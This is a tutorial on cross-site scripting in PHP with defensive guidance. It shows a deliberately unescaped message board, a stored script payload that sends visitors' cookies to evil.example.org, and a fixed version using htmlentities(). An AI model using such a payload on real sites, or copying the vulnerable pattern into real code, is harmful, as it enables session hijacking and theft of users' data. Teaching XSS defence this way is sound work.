Cross site scripting in php
The media has helped make cross-site scripting (XSS) a familiar term,
and the attention is deserved. It is one of the most common security
vulnerabilities in web applications, and many popular open source PHP
applications suffer from constant XSS vulnerabilities.
XSS attacks have the following characteristics:
- Exploit the trust a user has for a particular site.Users don’t necessarily
- have a high level of trust for any web site, but the browser does.
- For example, when the browser sends cookies in a request, it is t
- rusting the web site. Users may also have different browsing habits
- or even different levels of security defined in their browser depending
- on which site they are visiting.
- Generally involve web sites that display external data.Applications at a
- heightened risk include forums, web mail clients, and anything that displays syndicated content (such as RSS feeds).
- Inject content of the attacker’s choosing.When external data is not properly filtered, you might display content of the attacker’s choosing. This is just as dangerous as letting the attacker edit your source on the server.
How can this happen? If you display content that comes from any external
source without properly filtering it, you are vulnerable to XSS. Foreign data isn’t
limited to data that comes from the client. It also means email displayed in a web
mail client, a banner advertisement, a syndicated blog, and the like. Any information
that is not already in the code comes from an external source, and this generally means that most data is external data.
Consider the following example of a simplistic message board:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
This message board appends <br /> to whatever the user enters, appends this to a file, then displays the current contents of the file.
Imagine if a user enters the following message:
<script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie </script>
The next user who visits this message board with JavaScript enabled is redirected to evil.example.org, and any cookies associated with the current site are included in the query string of the URL.
Of course, a real attacker wouldn’t be limited by my lack of creativity or JavaScript expertise. Feel free to suggest better (more malicious?) examples.
What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some HTML or client-side scripts to be provided by external sources (such as other users) and ultimately displayed, but even these situations aren’t terribly difficult to handle. The following best practices can mitigate the risk of XSS:
- Filter all external data.As mentioned earlier, data filtering is the most important practice you can adopt. By validating all external data as it enters and exits your application, you will mitigate a majority of XSS concerns.
- Use existing functions.Let PHP help with your filtering logic. Functions like htmlentities(), strip_tags(), and utf8_decode() can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.
- Use a whitelist approach.Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.
- Use a strict naming convention.As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.
A much safer version of the simple message board mentioned earlier is as follows:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
With the simple addition of htmlentities(), the message board is now much safer. It should not be considered completely secure, but this is probably the easiest step you can take to provide an adequate level of protection. Of course, it is highly recommended that you follow all of the best practices that have been discussed.